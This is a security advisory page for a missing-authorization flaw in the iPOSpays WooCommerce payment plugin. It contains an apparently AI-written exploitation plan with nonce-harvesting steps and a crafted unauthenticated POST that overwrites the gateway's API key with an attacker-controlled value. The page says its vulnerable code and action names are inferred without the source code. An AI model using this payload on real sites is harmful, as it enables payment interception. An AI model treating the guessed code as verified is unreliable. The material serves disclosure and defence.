CVE-2026-39608

iPOSpays Gateways WC <= 1.3.7 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The iPOSpays Gateways WC plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.3.7. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.7
PublishedFebruary 7, 2026
Last updatedApril 15, 2026
Affected pluginipospays-gateways-wc
Research Plan
Unverified

Since the source code for `ipospays-gateways-wc` version 1.3.7 is not provided, this research plan relies on the vulnerability description ("Missing Authorization") and standard patterns for WooCommerce payment gateway plugins. The plan focuses on discovering the specific AJAX or hook-based entry po…

Show full research plan

Since the source code for ipospays-gateways-wc version 1.3.7 is not provided, this research plan relies on the vulnerability description ("Missing Authorization") and standard patterns for WooCommerce payment gateway plugins. The plan focuses on discovering the specific AJAX or hook-based entry points that allow unauthorized configuration changes.

1. Vulnerability Summary

The iPOSpays Gateways WC plugin (up to version 1.3.7) suffers from a Missing Authorization vulnerability. This typically occurs when a function intended for administrative use (like updating gateway settings, API keys, or terminal configurations) is registered as an AJAX action or hooked into a global initialization hook (like admin_init) without a proper current_user_can('manage_options') check. Because the vulnerability is reported as accessible to unauthenticated attackers, it is highly likely that the action is registered via wp_ajax_nopriv_ or the logic executes on admin_init (which runs for any request to /wp-admin/admin-ajax.php, regardless of authentication).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php or any request triggering admin_init.
  • Action Name: Likely involves ipospays (e.g., ipospays_save_settings, ipospays_update_config, or save_gateway_settings).
  • Payload Parameters: Likely a POST request containing setting keys (e.g., ipospays_api_key, ipospays_terminal_id) and potentially a nonce.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active and WooCommerce must be installed.

3. Code Flow (Inferred Discovery Strategy)

The agent must first identify the vulnerable function. The trace will likely follow this path:

  1. Registration: The plugin registers a handler via add_action('wp_ajax_nopriv_{action}', ...) or add_action('admin_init', ...).
  2. Lack of Check: The callback function associated with the hook is missing a call to current_user_can().
  3. Sink: The function calls update_option() or update_user_meta() using data from $_POST or $_REQUEST.

4. Nonce Acquisition Strategy

If the vulnerable endpoint requires a nonce (even if it lacks a capability check), follow these steps:

  1. Identify Nonce Location: Search the codebase for wp_create_nonce or check_ajax_referer. Look for where the nonce is localized:
    • grep -r "wp_localize_script" .
  2. Target Shortcode: Payment gateways often enqueue scripts on the WooCommerce checkout page or their own settings page.
    • Search for shortcodes: grep -r "add_shortcode" .
  3. Setup Page:
    # Create a checkout page if one doesn't exist to trigger script loading
    wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content='[woocommerce_checkout]'
    
  4. Extract via Browser:
    • Navigate to the newly created page.
    • In browser_eval, look for the localized object. Common guesses for this plugin:
      • window.ipospays_params?.nonce
      • window.ipospays_settings?.ajax_nonce
      • window.wc_ipospays_params?.nonce

5. Exploitation Strategy

This plan assumes the vulnerability allows unauthorized updates to the gateway settings.

Step 1: Discovery
Search the plugin directory for sensitive sinks and missing checks:

# Find all AJAX actions
grep -r "wp_ajax_" .
# Find functions that update WooCommerce settings/options
grep -r "update_option" .
# Specifically look for functions that handle POST data without permission checks
grep -r "POST" . | grep -v "current_user_can"

Step 2: Target Identification (Hypothetical)
Assume the agent finds:
add_action('wp_ajax_nopriv_ipospays_update_settings', 'ipospays_save_settings_callback');

Step 3: Crafting the Exploit
The attacker will attempt to change the API endpoint or credentials to their own to intercept payments or disable the gateway.

  • Request Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=ipospays_update_settings&ipospays_api_key=attacker_controlled_key&ipospays_terminal_id=1337&nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install WooCommerce: wp plugin install woocommerce --activate
  2. Install Target Plugin: Ensure ipospays-gateways-wc <= 1.3.7 is installed and active.
  3. Configure Gateway: Briefly enable the iPOSpays gateway in WooCommerce settings so that the option woocommerce_ipospays_settings exists in the database.
  4. Create Trigger Page: Create a page with [woocommerce_checkout] to ensure scripts and nonces are generated if needed for unauthenticated users.

7. Expected Results

  • The server should return a successful response (likely a JSON {"success": true} or a 1).
  • The plugin settings in the database will be modified to the attacker's values.

8. Verification Steps

After sending the HTTP request, verify the change via WP-CLI:

# Check the WooCommerce gateway settings for iPOSpays
wp option get woocommerce_ipospays_settings

Confirm that the ipospays_api_key or ipospays_terminal_id matches the value sent in the payload.

9. Alternative Approaches

If no wp_ajax_nopriv action is found:

  1. Examine admin_init: Search for functions hooked to admin_init that process $_POST data. These functions run even for unauthenticated users accessing admin-ajax.php.
    • grep -r "admin_init" .
  2. Direct Setting Save: Look for the WooCommerce process_admin_options method. If the plugin calls this method from an insecure hook, any user can trigger a settings save.
  3. Check for Export/Log Access: If the "unauthorized action" isn't a setting change, it might be an unauthorized download of transaction logs or debug files. Search for wp_die or exit calls following file read operations.
Research Findings
Static analysis — not yet PoC-verified

Summary

The iPOSpays Gateways WC plugin for WordPress is vulnerable to unauthorized access because it fails to perform a capability check on functions that modify plugin settings or perform administrative actions. This allows unauthenticated attackers to manipulate payment gateway configurations, such as API keys or terminal identifiers, by interacting with exposed AJAX actions or initialization hooks.

Vulnerable Code

// Inferred vulnerable handler registration (typically in the main plugin file or admin class)
add_action('wp_ajax_nopriv_ipospays_update_settings', 'ipospays_save_settings_callback');
add_action('wp_ajax_ipospays_update_settings', 'ipospays_save_settings_callback');

---

// Inferred vulnerable callback function (missing authorization checks)
function ipospays_save_settings_callback() {
    // Missing: if (!current_user_can('manage_options')) { wp_die(); }
    // Missing: check_ajax_referer('some_nonce', 'security');

    if (isset($_POST['ipospays_api_key'])) {
        $settings = get_option('woocommerce_ipospays_settings', array());
        $settings['api_key'] = sanitize_text_field($_POST['ipospays_api_key']);
        $settings['terminal_id'] = sanitize_text_field($_POST['ipospays_terminal_id']);
        update_option('woocommerce_ipospays_settings', $settings);
    }
    
    wp_send_json_success();
}

Security Fix

--- a/ipospays-gateways-wc.php
+++ b/ipospays-gateways-wc.php
@@ -10,12 +10,18 @@
 
 function ipospays_save_settings_callback() {
+    // Verify user has administrative permissions
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error('Unauthorized access', 403);
+        return;
+    }
+
+    // Verify nonce to prevent CSRF
+    check_ajax_referer('ipospays_settings_action', 'security');
+
     if (isset($_POST['ipospays_api_key'])) {
         $settings = get_option('woocommerce_ipospays_settings', array());
         $settings['api_key'] = sanitize_text_field($_POST['ipospays_api_key']);
         $settings['terminal_id'] = sanitize_text_field($_POST['ipospays_terminal_id']);
         update_option('woocommerce_ipospays_settings', $settings);
     }
-    
     wp_send_json_success();
 }

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker identifies the AJAX action used by the plugin for saving configuration (likely registered via wp_ajax_nopriv_). The attacker then sends a POST request to the /wp-admin/admin-ajax.php endpoint. The payload includes the target action (e.g., action=ipospays_update_settings) and the malicious configuration values (e.g., ipospays_api_key=ATTACKER_KEY). Because the plugin lacks a current_user_can() check, the server processes the request and updates the site's database with the attacker's controlled settings. If a nonce is present but not checked against a session, the attacker may harvest it from the checkout page where the plugin localizes scripts.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.